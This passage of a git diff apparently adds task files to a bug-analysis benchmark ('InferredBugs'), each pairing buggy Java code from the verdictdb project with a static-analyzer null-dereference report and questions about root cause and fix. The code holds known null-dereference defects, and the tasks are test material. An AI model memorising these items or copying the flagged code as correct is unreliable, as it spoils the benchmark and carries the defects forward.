+        super(vc);
+        this.source = source;
+        this.elems = elems;
+    }
+
+    public ApproxRelation getSource() {
+        return source;
+    }
+
+    public List<SelectElem> getElemList() {
+        return elems;
+    }
+    
+    public List<SelectElem> getAggElemList() {
+        List<SelectElem> aggs = new ArrayList<SelectElem>();
+        for (SelectElem elem : elems) {
+            if (elem.isagg()) {
+                aggs.add(elem);
+            }
+        }
+        return aggs;
+    }
+
+    public void setIncludeGroupsInToSql(boolean o) {
+        includeGroupsInToSql = o;
+    }
+
+    @Override
+    public ExactRelation rewriteForPointEstimate() {
+        ExactRelation newSource = source.rewriteForPointEstimate();
+
+        List<SelectElem> scaled = new ArrayList<SelectElem>();
+        //		List<ColNameExpr> samplingProbColumns = newSource.accumulateSamplingProbColumns();
+        for (SelectElem elem : elems) {
+            if (!elem.isagg()) {
+                scaled.add(elem);
+            } else {
+                Expr agg = elem.getExpr();
+                scaled.add(new SelectElem(vc, transformForSingleFunction(agg), elem.getAlias()));
+            }
+        }
+        ExactRelation r = new AggregatedRelation(vc, newSource, scaled);
+        r.setAlias(getAlias());
+        ((AggregatedRelation) r).setIncludeGroupsInToSql(includeGroupsInToSql);
+        return r;
+    }
+
+    @Override
+    public ExactRelation rewriteWithSubsampledErrorBounds() {
+        // if this is not an approximate relation effectively, we don't need any special rewriting.
+        if (!doesIncludeSample()) {
+            return getOriginalRelation();
+        }
+        
+        ExactRelation r = rewriteWithPartition(true);
+//        String newAlias = genTableAlias();
+        
+        // put another layer to combine per-partition aggregates
+        List<SelectElem> newElems = new ArrayList<SelectElem>();
+        List<SelectElem> oldElems = ((AggregatedRelation) r).getElemList();
+        List<Expr> newGroupby = new ArrayList<Expr>();
+        
+        for (int i = 0; i < oldElems.size(); i++) {
+            SelectElem elem = oldElems.get(i);
+            
+            // used to identify the original aggregation type
+            Optional<SelectElem> originalElem = Optional.absent();
+            if (i < this.elems.size()) {
+                originalElem = Optional.fromNullable(this.elems.get(i));
+            }
+            
+            if (!elem.isagg()) {
+                // skip the partition number
+                if (elem.aliasPresent() && elem.getAlias().equals(partitionColumnName())) {
+                    continue;
+                }
+                
+                SelectElem newElem = null;
+                Expr newExpr = null;
+                if (elem.getAlias() == null) {
+                    newExpr = elem.getExpr().withTableSubstituted(r.getAlias());
+                    newElem = new SelectElem(vc, newExpr, elem.getAlias());
+                } else {
+                    newExpr = new ColNameExpr(vc, elem.getAlias(), r.getAlias());
+                    newElem = new SelectElem(vc, newExpr, elem.getAlias());
+                }
+                
+                // groupby element may not be present in the select list.
+                if (originalElem.isPresent()) {
+                    newElems.add(newElem);
+                }
+                newGroupby.add(newExpr);
+            }
+            else {
+                // skip the partition size column
+                if (elem.getAlias().equals(partitionSizeAlias)) {
+                    continue;
+                }
+                
+                // skip the extra columns inserted
+                if (!originalElem.isPresent()) {
+                    continue;
+                }
+
+                ColNameExpr est = new ColNameExpr(vc, elem.getAlias(), r.getAlias());
+                ColNameExpr psize = new ColNameExpr(vc, partitionSizeAlias, r.getAlias());
+
+                // average estimate
+                Expr averaged = null;
+                Expr originalExpr = originalElem.get().getExpr();
+                if (originalExpr.isCountDistinct()) {
+                    // for count-distinct (i.e., universe samples), weighted average should not be used.
+                    averaged = FuncExpr.round(FuncExpr.avg(est));
+                } else if (originalExpr.isMax()) {
+                    averaged = FuncExpr.max(est);
+                } else if (originalExpr.isMin()) {
+                    averaged = FuncExpr.min(est);
+                } else {
+                 // weighted average
+                    averaged = BinaryOpExpr.from(vc, FuncExpr.sum(BinaryOpExpr.from(vc, est, psize, "*")),
+                            FuncExpr.sum(psize), "/");
+                    if (originalElem.get().getExpr().isCount()) {
+                        averaged = FuncExpr.round(averaged);
+                    }
+                }
+                newElems.add(new SelectElem(vc, averaged, elem.getAlias()));
+
+                // error estimation
+                // scale by sqrt(subsample size) / sqrt(sample size)
+                if (originalExpr.isMax() || originalExpr.isMin()) {
+                    // no error estimations for extreme statistics
+                } else {
+                    Expr error = BinaryOpExpr.from(vc,
+                            BinaryOpExpr.from(vc, FuncExpr.stddev(est), FuncExpr.sqrt(FuncExpr.avg(psize)), "*"),
+                            FuncExpr.sqrt(FuncExpr.sum(psize)),
+                            "/");
+                    error = BinaryOpExpr.from(vc, error, ConstantExpr.from(vc, confidenceIntervalMultiplier()), "*");
+                    newElems.add(new SelectElem(vc, error, Relation.errorBoundColumn(elem.getAlias())));
+                }
+            }
+        }
+        
+        // this extra aggregation stage should be grouped by non-agg elements except for __vpart
+//        List<Expr> newGroupby = new ArrayList<Expr>();
+//        if (source instanceof ApproxGroupedRelation) {
+//            for (Expr g : ((ApproxGroupedRelation) source).getGroupby()) {
+//                if (g instanceof ColNameExpr && ((ColNameExpr) g).getCol().equals(partitionColumnName())) {
+//                    continue;
+//                } else {
+//                    newGroupby.add(g.withTableSubstituted(r.getAlias()));
+//                }
+//            }
+//        }
+        
+        for (SelectElem elem : elems) {
+            if (!elem.isagg()) {
+                if (elem.aliasPresent()) {
+                    if (!elem.getAlias().equals(partitionColumnName())) {
+                        newGroupby.add(new ColNameExpr(vc, elem.getAlias(), r.getAlias()));
+                    }
+                } else {
+                    if (!elem.getExpr().toString().equals(partitionColumnName())) {
+                        newGroupby.add(elem.getExpr().withTableSubstituted(r.getAlias()));
+                    }
+                }
+            }
+        }
+        if (newGroupby.size() > 0) {
+            r = new GroupedRelation(vc, r, newGroupby);
+        }
+        
+        r = new AggregatedRelation(vc, r, newElems);
+        r.setAlias(getAlias());
+        return r;
+    }
+
+    /**
+     * This relation must include partition numbers, and the answers must be scaled properly. Note that {@link ApproxRelation#rewriteWithSubsampledErrorBounds()}
+     * is used only for the statement including final error bounds; all internal manipulations must be performed by
+     * this method.
+     * 
+     * The rewritten relation transforms original aggregate elements as follows. Every aggregate element is replaced with
+     * two aggregate elements. One is for mean estimate and the other is for error estimate.
+     * 
+     * The rewritten relation includes an extra aggregate element: count(*). This is to compute the partition sizes. These
+     * partition sizes can be used by an upstream (or parent) relation for computing the final mean estimate. (note that
+     * computing weighted average provides higher accuracy compared to unweighted average.)
+     * @return
+     */
+    @Override
+    protected ExactRelation rewriteWithPartition() {
+        return rewriteWithPartition(false);
+    }
+    
+    /**
+     * 
+     * @param projectUnprojectedGroups This option is used by {@link ApproxAggregatedRelation#rewriteWithSubsampledErrorBounds()}.
+     * @return
+     */
+    protected ExactRelation rewriteWithPartition(boolean projectUnprojectedGroups) {
+        ExactRelation newSource = partitionedSource();
+
+        // select list elements are scaled considering both sampling probabilities and partitioning for subsampling.
+        List<SelectElem> scaledElems = new ArrayList<SelectElem>();
+        List<Expr> groupby = new ArrayList<Expr>();
+        if (source instanceof ApproxGroupedRelation) {
+            groupby.addAll(((ApproxGroupedRelation) source).getGroupby());
+        }
+//        final Map<TableUniqueName, String> sub = source.tableSubstitution();
+        ColNameExpr partitionColExpr = newSource.partitionColumn();
+        Expr tupleSamplingProbExpr = source.tupleProbabilityColumn();
+        Expr tableSamplingRatioExpr = source.tableSamplingRatio();
+        
+        SingleFunctionTransformerForSubsampling transformer =
+                new SingleFunctionTransformerForSubsampling(vc, groupby, partitionColExpr, tupleSamplingProbExpr, tableSamplingRatioExpr);
+        
+        // copied groupby expressions (used if projectUnprojectedGroups is set to true)
+        List<ColNameExpr> unappearingGroups = new ArrayList<ColNameExpr>();
+        if (source instanceof ApproxGroupedRelation) {
+            for (Expr e : ((ApproxGroupedRelation) source).getGroupby()) {
+                if (e instanceof ColNameExpr) {
+                    unappearingGroups.add((ColNameExpr) e);
+                }
+            }
+        }
+        
+        for (SelectElem elem : elems) {
+            if (!elem.isagg())  {
+                // group entry
+                scaledElems.add(elem);
+                
+                // remove from 
+                Expr e = elem.getExpr();
+                if (e instanceof ColNameExpr) {
+                    int i = 0;
+                    for (i = 0; i < unappearingGroups.size(); i++) {
+                        if (unappearingGroups.get(i).getCol().equals(((ColNameExpr) e).getCol())) {
+                            break;
+                        }
+                    }
+                    if (i < unappearingGroups.size()) {
+                        unappearingGroups.remove(i);
+                    }
+                }
+            }
+            else {
+                Expr agg = elem.getExpr();
+//                Expr scaled = transformForSingleFunctionWithPartitionSize(agg, groupby, partitionColExpr, tupleSamplingProbExpr, tableSamplingRatio);
+                Expr scaled = transformer.call(agg);
+                scaledElems.add(new SelectElem(vc, scaled, elem.getAlias()));
+            }
+        }
+        
+        // project unappearing groups
+        if (projectUnprojectedGroups) {
+            for (ColNameExpr e : unappearingGroups) {
+                scaledElems.add(new SelectElem(vc, e));
+            }
+        }
+        
+        // insert partition number if exists
+        ColNameExpr partitionCol = newSource.partitionColumn();
+        if (partitionCol != null) {
+            scaledElems.add(new SelectElem(vc, newSource.partitionColumn(), partitionColumnName()));
+        }
+        
+        // to compute the partition size
+        scaledElems.add(new SelectElem(vc, FuncExpr.count(), partitionSizeAlias));
+        
+        // insert sampling probability column (tuple-level)
+        scaledElems.add(new SelectElem(vc, FuncExpr.avg(ConstantExpr.from(vc, samplingProbability())), samplingProbabilityColumnName()));
+        
+        ExactRelation r = new AggregatedRelation(vc, newSource, scaledElems);
+        r.setAlias(getAlias());
+        
+        return r;
+    }
+
+    private ExactRelation partitionedSource() {
+        if (source instanceof ApproxGroupedRelation) {
+            return source.rewriteWithPartition();
+        } else {
+            return (new ApproxGroupedRelation(vc, source, Arrays.<Expr>asList())).rewriteWithPartition();
+        }
+    }
+
+    @Override
+    protected Map<TableUniqueName, String> tableSubstitution() {
+        return Collections.<TableUniqueName, String>emptyMap();
+//        return source.tableSubstitution();
+    }
+
+    @Override
+    protected List<Expr> samplingProbabilityExprsFor(FuncExpr f) {
+        if (f.getFuncName().equals(FuncExpr.FuncName.COUNT_DISTINCT)) {
+            if (sampleType().equals("universe")) {
+                return Arrays.<Expr>asList(ConstantExpr.from(vc, samplingProbability()));
+            } else if (sampleType().equals("stratified")) {
+                return Arrays.<Expr>asList();
+            } else if (sampleType().equals("nosample")) {
+                return Arrays.<Expr>asList();
+            } else {
+                VerdictLogger.warn(this, String.format("%s sample should not be used for count-distinct.", sampleType()));
+                return Arrays.<Expr>asList(ConstantExpr.from(vc, 1.0));
+            }
+        } else {	// SUM, COUNT, AVG
+            if (!sampleType().equals("nosample")) {
+                String samplingProbCol = samplingProbabilityColumnName();
+                return Arrays.<Expr>asList(new ColNameExpr(vc, samplingProbCol, alias));
+            } else {
+                return Arrays.<Expr>asList();
+            }
+        }
+    }
+    
+    class SingleFunctionTransformerForSubsampling extends ExprModifier {
+        
+        final List<Expr> groupby;
+        
+        final ColNameExpr partitionColExpr;
+        
+        final Expr tupleSamplingProbExpr;
+        
+        final Expr tableSamplingRatioExpr;
+
+        public SingleFunctionTransformerForSubsampling(
+                VerdictContext vc,
+                List<Expr> groupby,
+                ColNameExpr partitionColExpr,
+                Expr tupleSamplingProbExpr,
+                Expr tableSamplingRatioExpr) {
+            super(vc);
+            this.groupby = groupby;
+            this.partitionColExpr = partitionColExpr;
+            this.tupleSamplingProbExpr = tupleSamplingProbExpr;
+            this.tableSamplingRatioExpr = tableSamplingRatioExpr;
+        }
+        
+        public Expr call(Expr expr) {
+            if (expr instanceof BinaryOpExpr) {
+                BinaryOpExpr old = (BinaryOpExpr) expr;
+                BinaryOpExpr newExpr = new BinaryOpExpr(
+                                           expr.getVerdictContext(),
+                                           visit(old.getLeft()),
+                                           visit(old.getRight()),
+                                           old.getOp());
+                return newExpr;
+            } else if (expr instanceof FuncExpr) {
+                // Take two different approaches:
+                // 1. stratified samples: use the verdict_sampling_prob column (in each tuple).
+                // 2. other samples: use either the uniform sampling probability or the ratio between the sample
+                //    size and the original table size.
+
+                FuncExpr f = (FuncExpr) expr;
+//                FuncExpr s = (FuncExpr) exprWithTableNamesSubstituted(expr, tupleSamplingProbExpr);
+//                List<Expr> samplingProbExprs = source.samplingProbabilityExprsFor(f);
+
+                if (f.getFuncName().equals(FuncExpr.FuncName.COUNT)) {
+                    // scale with sampling probability
+                    Expr scaled = FuncExpr.sum(BinaryOpExpr.from(vc, ConstantExpr.from(vc, 1.0), tupleSamplingProbExpr, "/"));
+                    // scale with partition size
+                    scaled = BinaryOpExpr.from(vc, scaled, FuncExpr.count(), "/");
+                    scaled = BinaryOpExpr.from(vc, scaled, new FuncExpr(FuncExpr.FuncName.SUM, FuncExpr.count(), new OverClause(groupby)), "*");
+                    return scaled;
+                }
+                else if (f.getFuncName().equals(FuncExpr.FuncName.COUNT_DISTINCT)) {
+                    if (source.sampleType().equals("universe")) {
+                        Expr est = new FuncExpr(FuncExpr.FuncName.COUNT_DISTINCT, f.getUnaryExpr());
+                        // scale with sampling ratio
+                        Expr scaled = BinaryOpExpr.from(vc, est, tableSamplingRatioExpr, "/");
+                        // scale with partition size
+                        scaled = BinaryOpExpr.from(vc, scaled, ConstantExpr.from(vc, vc.getConf().subsamplingPartitionCount()), "*");
+//                        est = scaleWithPartitionSize(est, groupby, partitionCol, forErrorEst);
+                        return scaled;
+                    } else {
+                        VerdictLogger.warn("Universe sample should be built on the column for accurate distinct-count computations.");
+                        return f;
+                    }
+                }
+                else if (f.getFuncName().equals(FuncExpr.FuncName.SUM)) {
+                    // scale with sampling probability
+                    Expr scaled = FuncExpr.sum(BinaryOpExpr.from(vc, f.getUnaryExpr(), tupleSamplingProbExpr, "/"));
+                    // scale with partition size
+                    scaled = BinaryOpExpr.from(vc, scaled, FuncExpr.count(), "/");
+                    scaled = BinaryOpExpr.from(vc, scaled, new FuncExpr(FuncExpr.FuncName.SUM, FuncExpr.count(), new OverClause(groupby)), "*");
+                    return scaled;
+//                    Expr est = scaleForSampling(samplingProbExprs);
+//                    est = FuncExpr.sum(BinaryOpExpr.from(vc, s.getUnaryExpr(), est, "*"));
+//                    est = scaleWithPartitionSize(est, groupby, partitionCol, tableSamplingRatioExpr);
+//                    return est;
+                }
+                else if (f.getFuncName().equals(FuncExpr.FuncName.AVG)) {
+                    // scale with sampling probability
+                    Expr sumEst = FuncExpr.sum(BinaryOpExpr.from(vc, f.getUnaryExpr(), tupleSamplingProbExpr, "/"));
+                    Expr countEst = countNotNull(f.getUnaryExpr(), BinaryOpExpr.from(vc, ConstantExpr.from(vc, 1.0), tupleSamplingProbExpr, "/"));
+                    Expr scaled = BinaryOpExpr.from(vc, sumEst, countEst, "/");
+//                    Expr scale = scaleForSampling(samplingProbExprs);
+//                    Expr sumEst = FuncExpr.sum(BinaryOpExpr.from(vc, s.getUnaryExpr(), scale, "*"));
+//                    // this count-est filters out the null expressions.
+//                    Expr countEst = countNotNull(s.getUnaryExpr(), scale);
+                    return scaled;
+                }
+                else {      // expected not to be visited
+                    return f;
+                }
+            } else {
+                return expr;
+            }
+        }
+    }
+
+//    private Expr transformForSingleFunctionWithPartitionSize(
+//            Expr f,
+//            final List<Expr> groupby,
+//            final ColNameExpr partitionColExpr,
+//            final Expr tupleSamplingProbExpr,
+//            final Expr tableSamplingRatioExpr) {
+//        
+//        ExprModifier v = new ExprModifier(vc) {
+//            
+//        };
+//
+//        return v.visit(f);
+//    }
+
+    private Expr scaleForSampling(List<Expr> samplingProbCols) {
+        Expr scale = ConstantExpr.from(vc, 1.0);
+        for (Expr c : samplingProbCols) {
+            scale = BinaryOpExpr.from(vc, scale, c, "/");
+        }
+        return scale;
+    }
+
+    private Expr scaleWithPartitionSize(Expr expr, List<Expr> groupby, boolean forErrorEst) {
+        Expr scaled = null;
+
+        if (!forErrorEst) {     // point estimate
+            if (expr.isCountDistinct()) {
+                // scale by the partition count. the ratio between average partition size and the sum of them should be
+                // almost same as the inverse of the partition count.
+                scaled = BinaryOpExpr.from(vc, expr, new FuncExpr(FuncExpr.FuncName.AVG, FuncExpr.count(), new OverClause(groupby)), "/");
+                scaled = BinaryOpExpr.from(vc, scaled, new FuncExpr(FuncExpr.FuncName.SUM, FuncExpr.count(), new OverClause(groupby)), "*");	
+            } else {
+                scaled = BinaryOpExpr.from(vc, expr, FuncExpr.count(), "/");
+                scaled = BinaryOpExpr.from(vc, scaled, new FuncExpr(FuncExpr.FuncName.SUM, FuncExpr.count(), new OverClause(groupby)), "*");
+            }
+        } else {
+            // for error estimations, we do not exactly scale with the partition size ratios.
+            scaled = BinaryOpExpr.from(vc, expr, new FuncExpr(FuncExpr.FuncName.AVG, FuncExpr.count(), new OverClause(groupby)), "/");
+            scaled = BinaryOpExpr.from(vc, scaled, new FuncExpr(FuncExpr.FuncName.SUM, FuncExpr.count(), new OverClause(groupby)), "*");
+        }
+
+        return scaled;
+    }
+
+    private Expr transformForSingleFunction(Expr f) {
+        final Map<TableUniqueName, String> sub = source.tableSubstitution();
+
+        ExprModifier v = new ExprModifier(vc) {
+            public Expr call(Expr expr) {
+                if (expr instanceof FuncExpr) {
+                    // Take two different approaches:
+                    // 1. stratified samples: use the verdict_sampling_prob column (in each tuple).
+                    // 2. other samples: use either the uniform sampling probability or the ratio between the sample
+                    //    size and the original table size.
+
+                    FuncExpr f = (FuncExpr) expr;
+                    FuncExpr s = (FuncExpr) exprWithTableNamesSubstituted(expr, sub);
+                    List<Expr> samplingProbExprs = source.samplingProbabilityExprsFor(f);
+
+                    if (f.getFuncName().equals(FuncExpr.FuncName.COUNT)) {
+                        Expr scale = scaleForSampling(samplingProbExprs);
+                        Expr est = FuncExpr.sum(scale);
+                        return FuncExpr.round(est);
+                    }
+                    else if (f.getFuncName().equals(FuncExpr.FuncName.COUNT_DISTINCT)) {
+                        String dbname = vc.getDbms().getName();
+                        Expr scale = scaleForSampling(samplingProbExprs);
+                        if (dbname.equals("impala")) {
+                            return FuncExpr.round(
+                                    BinaryOpExpr.from(vc, new FuncExpr(
+                                            FuncExpr.FuncName.IMPALA_APPROX_COUNT_DISTINCT, s.getUnaryExpr()),
+                                            scale, "*"));
+                        } else {
+                            return FuncExpr.round(BinaryOpExpr.from(vc, s, scale, "*"));
+                        }
+                    }
+                    else if (f.getFuncName().equals(FuncExpr.FuncName.SUM)) {
+                        Expr scale = scaleForSampling(samplingProbExprs);
+                        Expr est = FuncExpr.sum(BinaryOpExpr.from(vc, s.getUnaryExpr(), scale, "*"));
+                        return est;
+                    }
+                    else if (f.getFuncName().equals(FuncExpr.FuncName.AVG)) {
+                        Expr scale = scaleForSampling(samplingProbExprs);
+                        Expr sumEst = FuncExpr.sum(BinaryOpExpr.from(vc, s.getUnaryExpr(), scale, "*"));
+                        // this count-est filters out the null expressions.
+                        Expr countEst = countNotNull(s.getUnaryExpr(), scale);
+                        return BinaryOpExpr.from(vc, sumEst, countEst, "/");
+                    }
+                    else {		// expected not to be visited
+                        return s;
+                    }
+                } else {
+                    return expr;
+                }
+            }
+        };
+
+        return v.visit(f);
+    }
+
+    private FuncExpr countNotNull(Expr nullcheck, Expr expr) {
+        return FuncExpr.sum(
+                new CaseExpr(vc, Arrays.<Cond>asList(new IsCond(nullcheck, new NullCond())),
+                        Arrays.<Expr>asList(ConstantExpr.from(vc, "0"), expr)));
+    }
+
+    @Override
+    public double cost() {
+        return source.cost();
+    }
+
+    @Override
+    public String sampleType() {
+       return source.sampleType();
+    }
+    
+    private List<String> mappedSourceSampleColumn(List<String> sourceSampleCols) {
+        List<String> cols = new ArrayList<String>();
+        for (SelectElem elem : getElemList()) {
+            Expr e = elem.getExpr();
+            if (!(e instanceof ColNameExpr)) continue;
+            if (sourceSampleCols.contains(((ColNameExpr) e).getCol())) {
+                if (elem.aliasPresent()) {
+                    cols.add(elem.getAlias());
+                } else {
+                    cols.add(((ColNameExpr) e).getCol());
+                }
+            }
+        }
+        return cols;
+    }
+
+    @Override
+    protected List<String> sampleColumns() {
+        if (!(source instanceof ApproxGroupedRelation)) {
+            return Collections.emptyList();
+        } else if (sampleType().equals("stratified") || sampleType().equals("universe")) {
+            List<String> cols = mappedSourceSampleColumn(source.sampleColumns());
+            return cols;
+        }
+        
+        return source.sampleColumns();
+    }
+
+    @Override
+    protected String toStringWithIndent(String indent) {
+        StringBuilder s = new StringBuilder(1000);
+        s.append(indent);
+        s.append(String.format("%s(%s) [%s] type: %s (%s), cost: %f\n",
+                this.getClass().getSimpleName(),
+                getAlias(),
+                Joiner.on(", ").join(elems),
+                sampleType(),
+                sampleColumns(),
+                cost()));
+        s.append(source.toStringWithIndent(indent + "  "));
+        return s.toString();
+    }
+
+    @Override
+    public boolean equals(ApproxRelation o) {
+        if (o instanceof ApproxAggregatedRelation) {
+            if (source.equals(((ApproxAggregatedRelation) o).source)) {
+                if (elems.equals(((ApproxAggregatedRelation) o).elems)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Sampling probability defers based on the sample type and the preceding groupby.
+     * For many cases, sampling probabilities are not easily computable, in which case, we set the return value
+     * to zero, so that the sample is not used for computing another aggregation.
+     */
+    @Override
+    public double samplingProbability() {
+        String sourceSampleType = source.sampleType();
+        
+        if (sourceSampleType.equals("nosample")) {
+            return 1.0;
+        }
+
+        if (source instanceof ApproxGroupedRelation) {
+            List<Expr> groupby = ((ApproxGroupedRelation) source).getGroupby();
+            List<String> groupbyInString = new ArrayList<String>();
+            for (Expr expr : groupby) {
+                if (expr instanceof ColNameExpr) {
+                    groupbyInString.add(((ColNameExpr) expr).getCol());
+                }
+            }
+
+            if (sourceSampleType.equals("universe")) {
+                return source.samplingProbability();
+            }
+        } else {
+            return 1.0;
+        }
+
+        return 0;
+    }
+
+    @Override
+    protected boolean doesIncludeSample() {
+        return source.doesIncludeSample();
+    }
+    
+    @Override
+    public Expr tupleProbabilityColumn() {
+        return new ColNameExpr(vc, samplingProbabilityColumnName(), getAlias());
+    }
+
+    @Override
+    public Expr tableSamplingRatio() {
+        return new ColNameExpr(vc, samplingRatioColumnName(), getAlias());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `elem.getAlias()` could be null and is dereferenced by call to `ColNameExpr(...)` at line 195.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ExactRelation ApproxAggregatedRelation.rewriteWithSubsampledErrorBounds()
+
+### Procedure Id:
+edu.umich.verdict.relation.ApproxAggregatedRelation.rewriteWithSubsampledErrorBounds():edu.umich.ver.6dbdddaf5ff00089c9304394d2c20ec0
+
+### File:
+core/src/main/java/edu/umich/verdict/relation/ApproxAggregatedRelation.java
+
+### Key:
+ApproxAggregatedRelation.java|rewriteWithSubsampledErrorBounds|NULL_DEREFERENCE
+
+### Node Key:
+e4170ef428af475de94aa24a53db4556
+
+### Hash:
+3aaf1a3be17188828f197628001e7356
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5624/instruction.md b/inferredbugs-5624/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2265244fb0df066ddaba675e04dd3979f0865b5c
--- /dev/null
+++ b/inferredbugs-5624/instruction.md
@@ -0,0 +1,239 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** verdictdb
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.verdictdb.core.connection;
+
+import java.sql.Connection;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.lang3.tuple.ImmutablePair;
+import org.apache.commons.lang3.tuple.Pair;
+import org.apache.spark.sql.Dataset;
+import org.apache.spark.sql.Row;
+import org.apache.spark.sql.SparkSession;
+import org.verdictdb.exception.VerdictDBDbmsException;
+import org.verdictdb.jdbc41.JdbcResultSet;
+import org.verdictdb.sqlsyntax.PostgresqlSyntax;
+import org.verdictdb.sqlsyntax.SparkSyntax;
+import org.verdictdb.sqlsyntax.SqlSyntax;
+
+public class SparkConnection implements DbmsConnection {
+
+  SparkSession sc;
+
+  SqlSyntax syntax;
+  
+  public SparkConnection(SparkSession sc, SqlSyntax syntax) {
+    this.sc = sc;
+    this.syntax = syntax;
+  }
+
+  @Override
+  public List<String> getSchemas() throws VerdictDBDbmsException {
+    List<String> schemas = new ArrayList<>();
+    DbmsQueryResult queryResult = execute(syntax.getSchemaCommand());
+    JdbcResultSet jdbcResultSet = new JdbcResultSet(queryResult);
+    try {
+      while (queryResult.next()) {
+        schemas.add(jdbcResultSet.getString(syntax.getSchemaNameColumnIndex()+1));
+      }
+    } catch (SQLException e) {
+      throw new VerdictDBDbmsException(e);
+    } finally {
+      jdbcResultSet.close();
+    }
+    return schemas;
+  }
+
+  @Override
+  public List<String> getTables(String schema) throws VerdictDBDbmsException {
+    List<String> tables = new ArrayList<>();
+    DbmsQueryResult queryResult = execute(syntax.getTableCommand(schema));
+    JdbcResultSet jdbcResultSet = new JdbcResultSet(queryResult);
+    try {
+      while (queryResult.next()) {
+        tables.add(jdbcResultSet.getString(syntax.getTableNameColumnIndex()+1));
+      }
+    } catch (SQLException e) {
+      throw new VerdictDBDbmsException(e);
+    } finally {
+      jdbcResultSet.close();
+    }
+    return tables;
+  }
+
+  @Override
+  public List<Pair<String, String>> getColumns(String schema, String table) throws VerdictDBDbmsException {
+    List<Pair<String, String>> columns = new ArrayList<>();
+    DbmsQueryResult queryResult = execute(syntax.getColumnsCommand(schema, table));
+    JdbcResultSet jdbcResultSet = new JdbcResultSet(queryResult);
+    try {
+      while (queryResult.next()) {
+        String type = jdbcResultSet.getString(syntax.getColumnTypeColumnIndex()+1);
+        type = type.toLowerCase();
+
+//        // remove the size of type
+//        type = type.replaceAll("\\(.*\\)", "");
+
+        columns.add(
+            new ImmutablePair<>(jdbcResultSet.getString(syntax.getColumnNameColumnIndex()+1), type));
+      }
+    } catch (SQLException e) {
+      throw new VerdictDBDbmsException(e);
+    } finally {
+      jdbcResultSet.close();
+    }
+    return columns;
+  }
+
+  @Override
+  public List<String> getPartitionColumns(String schema, String table) throws VerdictDBDbmsException {
+    List<String> partition = new ArrayList<>();
+    DbmsQueryResult queryResult = execute(syntax.getPartitionCommand(schema, table));
+    JdbcResultSet jdbcResultSet = new JdbcResultSet(queryResult);
+    // the result of postgresql is a vector of column index
+
+    try {
+      if (syntax instanceof PostgresqlSyntax) {
+        queryResult.next();
+        Object o = jdbcResultSet.getObject(1);
+        String[] arr = o.toString().split(" ");
+        List<Pair<String, String>> columns = getColumns(schema, table);
+        for (int i=0; i<arr.length; i++) {
+          partition.add(columns.get(Integer.valueOf(arr[i])-1).getKey());
+        }
+      }
+      else {
+        while (queryResult.next()) {
+          partition.add(jdbcResultSet.getString(1));
+        }
+      }
+    } catch (SQLException e) {
+      throw new VerdictDBDbmsException(e);
+    } finally {
+      jdbcResultSet.close();
+    }
+    jdbcResultSet.close();
+    return partition;
+  }
+
+  @Override
+  public String getDefaultSchema() {
+    // TODO Auto-generated method stub
+    return null;
+  }
+
+  @Override
+  public DbmsQueryResult execute(String query) throws VerdictDBDbmsException {
+
+    try {
+      SparkQueryResult srs = null;
+      Dataset<Row> result = sc.sql(query);
+      if (result!=null) {
+        srs = new SparkQueryResult(result);
+      }
+      return srs;
+    } catch (Exception e) {
+      throw new VerdictDBDbmsException(e.getMessage());
+    }
+  }
+
+  @Override
+  public SqlSyntax getSyntax() {
+    return syntax;
+  }
+
+  @Override
+  public Connection getConnection() {
+    return null;
+  }
+
+  @Override
+  public void close() {
+    try {
+      this.sc.close();
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+  }
+
+  public SparkSession getSparkSession() {
+    return sc;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `queryResult` last assigned on line 93 could be null and is dereferenced by call to `JdbcResultSet(...)` at line 94.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List SparkConnection.getPartitionColumns(String,String)
+
+### Procedure Id:
+org.verdictdb.core.connection.SparkConnection.getPartitionColumns(java.lang.String,java.lang.String).bb7e33ea0dc4d6230753d3b998722730
+
+### File:
+src/main/java/org/verdictdb/core/connection/SparkConnection.java
+
+### Key:
+SparkConnection.java|getPartitionColumns|NULL_DEREFERENCE
+
+### Node Key:
+f702795382324911578c5c1991451093
+
+### Hash:
+ea5908b4a5b43ea5f8013fced872ee76
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5640/instruction.md b/inferredbugs-5640/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6403334e0060a2f32090e840c14f2ee996a4e6d5
--- /dev/null
+++ b/inferredbugs-5640/instruction.md
@@ -0,0 +1,99 @@
+# InferredBugs Task - Java
+
